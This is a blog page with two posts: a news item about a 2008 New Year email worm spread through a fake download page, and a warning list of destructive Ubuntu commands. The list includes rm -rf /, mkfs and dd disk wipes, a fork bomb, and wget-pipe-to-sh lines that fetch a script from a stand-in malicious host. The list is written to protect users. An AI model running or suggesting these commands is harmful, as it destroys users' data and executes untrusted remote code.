IT News & Technology update

Happy New Infected Year!

Written by IT News on 4:46 AM

By: Bogdan Popa, Security and Search Engines Editor | softpedia.com

Christmas is only history now and we're all expecting the New Year celebrations. Hackers, attackers and scammers are also preparing for the new event, but, as usual, they like to do it in an unique way: by building Trojan horses, infections and other types of malware designed to be installed on people's computers.

A new worm has already been discovered by security vendor Trend Micro, after
malicious emails containing a link to a malicious page attempted to deploy an infected executable. The file is named "happy2008.exe" and tries to reach your computer through a website that reads the following message: "Your download should begin shortly. If your download does not start in approximately 15 seconds, you can click here to launch the download and then press Run. Enjoy!"

"(The affected IPs) look like a redirecting download site. But if you visit (them) with an outdated browser, you get automatically infected", Trend Micro Senior Threat Analyst, David Sancho, said according to a blog post on the company's website.

Trend Micro identified the infection as WORM_ZHELATI.AIS, a worm that targets most Windows versions including 98, ME, NT, 2000, XP and Server 2003. But, what's more important is that it has a high distribution potential and a high damage potential, which underlines the danger caused by the worm.

"This worm usually arrives via email. It can also be dropped by other malware. It spreads by sending email messages containing a link, which redirect users to a malicious Web site where a copy of itself can be downloaded", Trend Micro wrote in the description of the worm.

Just like usual, you're advised to avoid reading suspect messages arriving in your inbox and block attachments that may infect your computer. In addition, keep your antivirus up-to-date with the latest virus definitions, in order to detect the threats as soon as they occur.

No Comment

| Posted in » Anti virus, infected, malicious command, malware

Malicious Commands You Should NOT Run in Ubuntu!

Written by IT News on 6:07 PM

I knew this was going to happen someday, as Ubuntu is more and more popular each day. It seems that there is a growing trend to offer malicious commands to new and inexperienced Ubuntu users on Ubuntu forums and not only there. Therefore I thought it would be a very smart idea to take a moment to review all these malicious commands, that you should NOT execute in a terminal.

The following commands can cause massive damage to your Ubuntu operating system! Please DO NOT execute any of them, just read and learn!

CODE:
sudo rm -rf / (This will delete all your files on your system) - Needs administrator rights! sudo rm -rf . (This will delete the current directory your in) - Needs administrator rights! sudo rm -rf * (This will delete all the files in the current folder) - Needs administrator rights! rm -rf * or rm -rf *.* (This will delete all the files in the current folder) - No administrator rights needed! rm -rf ~ / & (This will destroy your home directory) - No administrator rights needed!

All the below commands will erase your hard drive! CODE:
sudo mkfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.ext3 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.bfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.cramfs (This will format your hard drive) - No administrator rights needed!
sudo mkfs.ext2 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.minix (This will format your hard drive) - Needs administrator rights!
sudo mkfs.msdos (This will format your hard drive) - Needs administrator rights!
sudo mkfs.reiserfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.vfat (This will format your hard drive) - Needs administrator rights!

The dd command can be very dangerous, especially when you have no idea what it does! Below are some examples, but remember that these can vary often! CODE:
sudo dd if=/dev/zero of=/dev/hda (VERY DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) (Needs administrator rights)
sudo dd if=/dev/hda of=/dev/hdb (Needs administrator rights)
sudo dd if=something of=/dev/hda (Needs administrator rights)

WARNING: /dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb or any partition or hard drive you may have on your system!

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data!

CODE:
any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb: It is a malicious script that will execute a huge number of processes until your system freezes, forcing you to do a hard reboot which may cause data corruption or data damage.

The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON'T EXECUTE THEM!

CODE:
:(){:|:&};:

CODE:
fork while fork

Tarbomb: Let's say that someone who wants to help you, offers you a tar.gz or tar.bz2 archive and he asks you to extract it into an existing directory. This archive can be crafted to explode into a million of files, or inject other existing files into the system by guessing their filenames. You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created directory!

Decompression bomb: Here's another example. Let's say someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of Gigabites, filling your hard drive until it freezes! You should not touch data from an untrusted source!

Shellscript: This one is also very dangrous! Someone gives you a link to download, to a shellscript and then he asks you to execute it. This script can contain any command he chooses (from the above examples). Do not execute code from people you don't trust! Here are some examples:

CODE:
wget http://some_place/some_file
sh ./some_file

Example: wget http://hax018r.org/malicious-script
sh ./malicious-script

or

CODE:
wget http://some_place/some_file -O- | sh
Example: wget http://hax018r.org/malicious-script -O- | sh
WARNING: Remember that the above examples can have any name!